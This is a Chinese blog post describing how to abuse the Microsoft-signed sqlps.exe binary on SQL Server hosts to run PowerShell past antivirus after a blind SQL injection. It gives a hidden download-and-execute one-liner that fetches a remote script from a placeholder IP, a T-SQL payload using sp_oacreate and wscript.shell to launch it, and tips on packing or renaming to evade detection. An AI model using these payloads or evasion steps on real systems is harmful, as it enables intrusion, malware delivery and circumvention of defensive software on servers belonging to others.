首页 > 数据库 >sqlserver下利用sqlps.exe白名单绕杀软

sqlserver下利用sqlps.exe白名单绕杀软

时间:2024-09-07 14:02:32浏览次数:8  
标签:exe xx Server sqlps SQL 白名单 Microsoft

sqlserver下利用sqlps.exe白名单绕杀软

前言:

在一次攻防里通过sqlserver盲注拿到一个执行命令权限,但是由于是盲注回显很有问题以及有杀软,所以利用起来非常难受而且拿不到webshell或者上线c2,所以才找到这个方法。

介绍:

sqlps.exe是SQL Server附带的一个具有Microsoft签名的二进制文件

Microsoft SQL Server\100和110是Powershell v2,120和130是Powershell v4。2016中已由SQLToolsPS.exe替换,但出于兼容性原因将包含在安装中。

C:\Program Files (x86)\Microsoft SQL Server\100\Tools\Binn\sqlps.exe
C:\Program Files (x86)\Microsoft SQL Server\110\Tools\Binn\sqlps.exe
C:\Program Files (x86)\Microsoft SQL Server\120\Tools\Binn\sqlps.exe
C:\Program Files (x86)\Microsoft SQL Server\130\Tools\Binn\sqlps.exe
C:\Program Files (x86)\Microsoft SQL Server\140\Tools\Binn\sqlps.exe
C:\Program Files (x86)\Microsoft SQL Server\150\Tools\Binn\sqlps.exe

利用:

上线执行的命令

cmd /c SQLPS -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/360.ps1'))"

sql语句:

具体来说,它是一个 T-SQL(Transact-SQL)语句,专门用于在 SQL Server 中执行。它使用了 SQL Server 提供的 OLE Automation 存储过程(如 sp_OACreatesp_OAMethod),这些存储过程允许 SQL Server 实例与外部系统进行交互。

 declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\ProgramData\SQLPS.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://xx.xx.xx.xx/360.ps1''))"'  

无sqlserver环境也可以代替powershell绕过杀软

在没有sqlserver的环境下我们也可以尝试提取出目标机器兼容的SQLPS.exe去执行powershell

虽然流氓3某0已经拦截,但还是可以尝试使用加壳、反编译或者重命名和cmd /c等方式来绕过sqlps.exe的执行。具体看我博客里另外一篇文章(命令执行绕过姿势)

这里的版本兼容问题潇湘信安公众号文章已经测试过,引用一下

https://mp.weixin.qq.com/s/QxV0tRkswdMMIBuqk4TQbg

标签:exe,xx,Server,sqlps,SQL,白名单,Microsoft
From: https://www.cnblogs.com/xiaoxin07/p/18401629

相关文章

  • 记录 ThreadPoolExecutor任务队列放入任务的方式
    众所周知,ThreadPoolExecutor内部任务队列属性类型定义为:privatefinalBlockingQueueworkQueue;而其有三种提交任务方式:add、put和offer,好奇其内部用的哪个,又不想查资料,故而跳到源码内部一看。结果如下:三种提交任务方式:put(Eelement):将指定元素插入队列,如果队列已满,则阻塞......
  • Unity+QT, 如何把Unity打包出的exe嵌入QT程序中,并且使用Socket进行交互
    文章目录概要前期准备QT与Unity的Socket通信实际应用场景总结概要在VR开发中,常常需要桌面窗口和VR头盔使用者进行交互。通过将Unity制作的VR程序嵌入到QT应用程序窗口中,并使用Socket进行通信,可以实现这种交互。本文将介绍如何实现这一功能。前期准备Unity项目打......
  • 【SQL Server】将EXEC的变量结果赋值输出
    动态传入表名和表的某些属性,然后将标的属性赋值到参数中,以便后续使用。首先一张表(表和字段设计略),使用动态的语句如下:1DECLARE@tablenameVARCHAR(255)='BomNo'2,@idINT=13,@sqlNVARCHAR(MAX);4SET@sql='SELECTfnumber,sonFnumberFROMBomNoWHEREi......
  • 深入解析 Docker exec 命令
      目录Dockerexec命令详解常用选项示例注意 Docker容器允许你在隔离的环境中运行应用程序,这样可以确保应用运行所需的环境是一致的,无论是在开发、测试还是生产环境中。当需要在Docker容器中执行命令时,通常会用到dockerexec命令。下面是对dockerexec命令......
  • C# 调用 exe 输出日志
    C#调用exe输出日志ProcessStartInfousingSystem;usingSystem.Diagnostics;usingNLog;classProgram{staticvoidMain(){ProcessStartInfostartInfo=newProcessStartInfo("your_exe_path.exe");startInfo.UseShellExecute=......
  • ScheduledExecutorService 处理定时和周期性任务的强大工具
    转:https://zhuanlan.zhihu.com/p/6793399261简介ScheduledExecutorService是Java中处理定时和周期性任务的强大工具,它简化了线程管理,自动分配线程资源,避免了手动创建线程的繁琐,它提供了定时和周期性任务调度功能,能满足多数场景,此外,ScheduledExecutorService还支持任务取消......
  • c# 防止exe重复启动
    usingSystem;usingSystem.Threading;usingSystem.Windows.Forms;namespaceMyWinFormsApp{    staticclassProgram    {        //定义一个全局互斥体        privatestaticMutexmutex=newMutex(false,"MyWinFormsApp_Mutex");  ......
  • VS+QT生成的exe文件所依赖的dll文件和路径
    <divid="content_views"class="htmledit_views"><h2id="articleContentId"><aname="t0"></a>vs2017+Qt5.13.2程序打包</h2>step1打开vs2017,选中项目:选择release模式选择发布模......
  • vs如何发布exe并附带动态链接库dll
    <divid="content_views"class="markdown_viewsprism-atom-one-dark"><svgxmlns="http://www.w3.org/2000/svg"style="display:none;"><pathstroke-linecap......
  • 芯片闪存(FLASH)空间不够报错——.\Objects\SL_DEMO.axf: Error: L6406E: No space in
    目录问题描述:问题解决:问题分析:解决方法:1,2,问题描述:当出现这种报错的时候:.\Objects\SL_DEMO.axf:Error:L6406E:Nospaceinexecutionregionswith.ANYselectormatchingdrv_iap.o(i.EraseFlashSector).。是由于芯片闪存(FLASH)空间不够导致的问题解决:问题分析......